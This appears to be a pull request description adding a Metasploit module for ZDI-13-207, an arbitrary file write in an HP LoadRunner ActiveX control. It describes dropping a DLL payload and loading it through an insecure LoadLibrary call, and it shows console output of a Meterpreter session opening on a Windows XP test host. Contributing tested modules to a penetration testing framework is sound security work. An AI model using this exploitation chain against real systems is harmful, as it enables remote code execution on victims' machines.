Add module for ZDI-13-207

Tested with HP LoadRunner 11.50 on IE8 with Windows XP.

The vulnerability is an abusing of the WriteFileString API to write arbitrary files.

The module uses the vulnerability to drop a payload embedded on a dll and abuses another ActiveX control API which loads an app library (LoadLibrary) in a insecure fashion. The good thing about this method is which allows to exploit Windows XP even when no admin user visits the page (limitation of the WBem technique). The bad thing is which doesn't work on Windows Vista/ Windows 7 because IE runs on a Low Privileged Process and files are written to a virtualized directory, which isn't used by LoadLibrary anymore. Still is a an interesting module to have into the framework I think.

```
[*] 10.6.0.165       hp_loadrunner_writefilestring - Requesting: /AJGKasLzH5WQ
[*] 10.6.0.165       hp_loadrunner_writefilestring - Sending HTML...
[*] Sending stage (751104 bytes) to 10.6.0.165
[*] Meterpreter session 1 opened (10.6.0.165:4444 -> 10.6.0.165:50673) at 2013-08-29 14:08:29 -0500
[*] New session... remember to delete LrWeb2MdrvLoader.dll

msf exploit(hp_loadrunner_writefilestring) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : JUAN-C0DE875735
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > getuid
Server username: JUAN-C0DE875735\unprivileged
meterpreter > help


```